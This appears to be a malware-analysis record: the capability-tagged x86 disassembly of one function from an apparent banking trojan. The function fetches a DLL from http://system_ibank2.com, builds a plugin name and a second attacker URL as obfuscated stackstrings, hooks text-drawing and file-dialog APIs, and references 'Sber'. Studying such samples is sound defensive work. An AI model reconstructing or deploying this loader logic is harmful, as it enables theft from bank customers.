Function at 0x421330
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], 0x62
mov byte [ebp - 0xa], 0x54
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x74
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x70
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x75
mov byte [ebp - 2], 0x67
mov byte [ebp - 1], 0
push 0
push str.http:__system_ibank2.com_s.dll
call fcn.00424210
add esp, 8
mov dword [ebp - 0x30], eax
push 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.004080f0
add esp, 0xc
movzx edx, al
test edx, edx
jne 0x4213ba
mov eax, dword [ebp - 0x30]
push eax
call fcn.00425470
add esp, 4
mov ecx, dword [ebp - 0x30]
push ecx
push 0x43b078
push 0x43b0bc
call fcn.00413a10
add esp, 0xc
xor al, al
jmp 0x421c1c
mov edx, dword [ebp - 0x30]
push edx
call fcn.00425470
add esp, 4
mov eax, dword [ebp - 0x10]
push eax
call fcn.0040f9c0
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x4213f4
push 0x43b0c4
push 0x43b0e8
call fcn.00413a10
add esp, 8
xor al, al
jmp 0x421c1c
push 0x43b0f0
push 0x43b124
call fcn.00413a10
add esp, 8
mov byte [ebp - 0x2c], 0x49
mov byte [ebp - 0x2b], 0x6e
mov byte [ebp - 0x2a], 0x69
mov byte [ebp - 0x29], 0x74
mov byte [ebp - 0x28], 0x46
mov byte [ebp - 0x27], 0x75
mov byte [ebp - 0x26], 0x6e
mov byte [ebp - 0x25], 0x63
mov byte [ebp - 0x24], 0
lea ecx, [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.0040fba0
add esp, 8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x421460
lea eax, [ebp - 0x2c]
push eax
push 0x43b12c
push 0x43b144
call fcn.00413a10
add esp, 0xc
xor al, al
jmp 0x421c1c
push str.SetParams
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040fba0
add esp, 8
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jne 0x421497
lea edx, [ebp - 0x2c]
push edx
push 0x43b158
push 0x43b170
call fcn.00413a10
add esp, 0xc
xor al, al
jmp 0x421c1c
push str.SetParams_is_ok_
push 0x43b18c
call fcn.00413a10
add esp, 8
push 0x78
call fcn.00424180
add esp, 4
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
call fcn.0042ae10
add esp, 4
mov ecx, dword [ebp - 0x20]
push ecx
push 0x43b194
call fcn.00413a10
add esp, 8
mov byte [ebp - 0x54], 0x68
mov byte [ebp - 0x53], 0x74
mov byte [ebp - 0x52], 0x74
mov byte [ebp - 0x51], 0x70
mov byte [ebp - 0x50], 0x3a
mov byte [ebp - 0x4f], 0x2f
mov byte [ebp - 0x4e], 0x2f
mov byte [ebp - 0x4d], 0x69
mov byte [ebp - 0x4c], 0x62
mov byte [ebp - 0x4b], 0x61
mov byte [ebp - 0x4a], 0x6e
mov byte [ebp - 0x49], 0x6b
mov byte [ebp - 0x48], 0x73
mov byte [ebp - 0x47], 0x79
mov byte [ebp - 0x46], 0x73
mov byte [ebp - 0x45], 0x64
mov byte [ebp - 0x44], 0x72
mov byte [ebp - 0x43], 0x69
mov byte [ebp - 0x42], 0x76
mov byte [ebp - 0x41], 0x65
mov byte [ebp - 0x40], 0x72
mov byte [ebp - 0x3f], 0x64
mov byte [ebp - 0x3e], 0x62
mov byte [ebp - 0x3d], 0x6f
mov byte [ebp - 0x3c], 0x2e
mov byte [ebp - 0x3b], 0x63
mov byte [ebp - 0x3a], 0x6f
mov byte [ebp - 0x39], 0x6d
mov byte [ebp - 0x38], 0x2f
mov byte [ebp - 0x37], 0x74
mov byte [ebp - 0x36], 0x65
mov byte [ebp - 0x35], 0x73
mov byte [ebp - 0x34], 0x74
mov byte [ebp - 0x33], 0x2f
mov byte [ebp - 0x32], 0
mov edx, dword [ebp - 0x20]
push edx
lea eax, [ebp - 0x54]
push eax
call dword [ebp - 0x58]
mov ecx, dword [ebp - 0x20]
push ecx
lea edx, [ebp - 0x54]
push edx
push 0x43b19c
push 0x43b1b8
call fcn.00413a10
add esp, 0x10
mov eax, dword [ebp - 0x20]
push eax
call fcn.00425470
add esp, 4
push str.ShowWindowCallBack
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040fba0
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4215c3
push 0x43b1d4
push 0x43b1fc
call fcn.00413a10
add esp, 8
xor al, al
jmp 0x421c1c
mov edx, dword [ebp - 0x14]
push edx
push 0x7506e960
push 3
call fcn.00422bd0
add esp, 0xc
test eax, eax
je 0x421603
mov dword [0x44b434], eax
push str.ShowWindow
mov eax, dword [0x44b434]
push eax
call dword [ebp - 0x1c]
test eax, eax
je 0x421603
push 0x43b210
push 0x43b234
call fcn.00413a10
add esp, 8
push str.TranslateMessageCallBack
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040fba0
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x421636
push 0x43b258
push 0x43b288
call fcn.00413a10
add esp, 8
xor al, al
jmp 0x421c1c
mov edx, dword [ebp - 0x14]
push edx
push 0xc45d9631
push 3
call fcn.00422bd0
add esp, 0xc
test eax, eax
je 0x421676
mov dword [0x44b438], eax
push str.TranslateMessage
mov eax, dword [0x44b438]
push eax
call dword [ebp - 0x1c]
test eax, eax
je 0x421676
push 0x43b2a4
push 0x43b2cc
call fcn.00413a10
add esp, 8
push str.DrawTextACallBack
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040fba0
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4216a9
push 0x43b2e8
push 0x43b310
call fcn.00413a10
add esp, 8
xor al, al
jmp 0x421c1c
mov edx, dword [ebp - 0x14]
push edx
push 0x85bbdfc
push 3
call fcn.00422bd0
add esp, 0xc
test eax, eax
je 0x4216e9
mov dword [0x44b458], eax
push str.DrawTextA
mov eax, dword [0x44b458]
push eax
call dword [ebp - 0x1c]
test eax, eax
je 0x4216e9
push 0x43b324
push 0x43b344
call fcn.00413a10
add esp, 8
push str.DrawTextWCallBack
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040fba0
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x42171c
push 0x43b360
push 0x43b388
call fcn.00413a10
add esp, 8
xor al, al
jmp 0x421c1c
mov edx, dword [ebp - 0x14]
push edx
push 0x85bbdea
push 3
call fcn.00422bd0
add esp, 0xc
test eax, eax
je 0x42175c
mov dword [0x44b454], eax
push str.DrawTextW
mov eax, dword [0x44b454]
push eax
call dword [ebp - 0x1c]
test eax, eax
je 0x42175c
push 0x43b39c
push 0x43b3bc
call fcn.00413a10
add esp, 8
push str.DrawTextExACallBack
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040fba0
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x42178f
push 0x43b3d8
push 0x43b404
call fcn.00413a10
add esp, 8
xor al, al
jmp 0x421c1c
mov edx, dword [ebp - 0x14]
push edx
push 0xef7e3e57
push 3
call fcn.00422bd0
add esp, 0xc
test eax, eax
je 0x4217cf
mov dword [0x44b43c], eax
push str.DrawTextExA
mov eax, dword [0x44b43c]
push eax
call dword [ebp - 0x1c]
test eax, eax
je 0x4217cf
push 0x43b418
push 0x43b43c
call fcn.00413a10
add esp, 8
push str.DrawTextExWCallBack
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040fba0
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x421802
push 0x43b458
push 0x43b484
call fcn.00413a10
add esp, 8
xor al, al
jmp 0x421c1c
mov edx, dword [ebp - 0x14]
push edx
push 0xef7e3e41
push 3
call fcn.00422bd0
add esp, 0xc
test eax, eax
je 0x421842
mov dword [0x44b464], eax
push str.DrawTextExW
mov eax, dword [0x44b464]
push eax
call dword [ebp - 0x1c]
test eax, eax
je 0x421842
push 0x43b498
push 0x43b4bc
call fcn.00413a10
add esp, 8
push str.TextOutACallBack
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040fba0
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x421875
push 0x43b4d8
push 0x43b500
call fcn.00413a10
add esp, 8
xor al, al
jmp 0x421c1c
mov edx, dword [ebp - 0x14]
push edx
push 0x4954ed86
push 0xf
call fcn.00422bd0
add esp, 0xc
test eax, eax
je 0x4218b5
mov dword [0x44b460], eax
push str.TextOutA
mov eax, dword [0x44b460]
push eax
call dword [ebp - 0x1c]
test eax, eax
je 0x4218b5
push 0x43b514
push 0x43b534
call fcn.00413a10
add esp, 8
push str.TextOutWCallBack
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040fba0
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4218e8
push 0x43b550
push 0x43b578
call fcn.00413a10
add esp, 8
xor al, al
jmp 0x421c1c
mov edx, dword [ebp - 0x14]
push edx
push 0x4954ed90
push 0xf
call fcn.00422bd0
add esp, 0xc
test eax, eax
je 0x421928
mov dword [0x44b45c], eax
push str.TextOutW
mov eax, dword [0x44b45c]
push eax
call dword [ebp - 0x1c]
test eax, eax
je 0x421928
push 0x43b58c
push 0x43b5ac
call fcn.00413a10
add esp, 8
push str.ExtTextOutACallBack
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040fba0
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x42195b
push 0x43b5c8
push 0x43b5f4
call fcn.00413a10
add esp, 8
xor al, al
jmp 0x421c1c
mov edx, dword [ebp - 0x14]
push edx
push 0x3d54fcfa
push 0xf
call fcn.00422bd0
add esp, 0xc
test eax, eax
je 0x42199b
mov dword [0x44b430], eax
push str.ExtTextOutA
mov eax, dword [0x44b430]
push eax
call dword [ebp - 0x1c]
test eax, eax
je 0x42199b
push 0x43b608
push 0x43b62c
call fcn.00413a10
add esp, 8
push str.ExtTextOutWCallBack
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040fba0
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4219ce
push 0x43b648
push 0x43b674
call fcn.00413a10
add esp, 8
xor al, al
jmp 0x421c1c
mov edx, dword [ebp - 0x14]
push edx
push 0x3d54fcec
push 0xf
call fcn.00422bd0
add esp, 0xc
test eax, eax
je 0x421a0e
mov dword [0x44b44c], eax
push str.ExtTextOutW
mov eax, dword [0x44b44c]
push eax
call dword [ebp - 0x1c]
test eax, eax
je 0x421a0e
push 0x43b688
push 0x43b6ac
call fcn.00413a10
add esp, 8
push str.EnumPrintersACallBack
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040fba0
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x421a41
push 0x43b6cc
push 0x43b6f8
call fcn.00413a10
add esp, 8
xor al, al
jmp 0x421c1c
mov edx, dword [ebp - 0x14]
push edx
push 0x9804c3c0
push 0x15
call fcn.00422bd0
add esp, 0xc
test eax, eax
je 0x421a81
mov dword [0x44b448], eax
push str.EnumPrintersA
mov eax, dword [0x44b448]
push eax
call dword [ebp - 0x1c]
test eax, eax
je 0x421a81
push 0x43b710
push 0x43b734
call fcn.00413a10
add esp, 8
push str.GetSaveFileNameACallBack
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040fba0
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x421ab4
push 0x43b758
push 0x43b784
call fcn.00413a10
add esp, 8
xor al, al
jmp 0x421c1c
mov edx, dword [ebp - 0x14]
push edx
push 0x8fd473c8
push 0x16
call fcn.00422bd0
add esp, 0xc
test eax, eax
je 0x421af4
mov dword [0x44b444], eax
push str.GetSaveFileNameA
mov eax, dword [0x44b444]
push eax
call dword [ebp - 0x1c]
test eax, eax
je 0x421af4
push 0x43b7a0
push 0x43b7c8
call fcn.00413a10
add esp, 8
push str.GetOpenFileNameACallBack
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040fba0
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x421b27
push 0x43b7ec
push 0x43b81c
call fcn.00413a10
add esp, 8
xor al, al
jmp 0x421c1c
mov edx, dword [ebp - 0x14]
push edx
push 0xe16570d
push 0x16
call fcn.00422bd0
add esp, 0xc
test eax, eax
je 0x421b67
mov dword [0x44b450], eax
push str.GetOpenFileNameA
mov eax, dword [0x44b450]
push eax
call dword [ebp - 0x1c]
test eax, eax
je 0x421b67
push 0x43b838
push 0x43b860
call fcn.00413a10
add esp, 8
push str.LoadLibraryExWCallBack
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040fba0
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x421b9a
push 0x43b880
push 0x43b8ac
call fcn.00413a10
add esp, 8
xor al, al
jmp 0x421c1c
mov edx, dword [ebp - 0x14]
push edx
push 0x20088e7c
push 1
call fcn.00422bd0
add esp, 0xc
test eax, eax
je 0x421bda
mov dword [0x44b440], eax
push str.LoadLibraryExW
mov eax, dword [0x44b440]
push eax
call dword [ebp - 0x1c]
test eax, eax
je 0x421bda
push 0x43b8c4
push 0x43b8e8
call fcn.00413a10
add esp, 8
push 0x43b8f0
push 0x43b918
call fcn.00413a10
add esp, 8
push 0x43b920
push 0x43b978
call fcn.00413a10
add esp, 8
push 0x2bc
push 0
push 0
push str.Sber
call fcn.0042bd80
push eax
call fcn.0042d6e0
add esp, 0x14
mov al, 1
mov esp, ebp
pop ebp
ret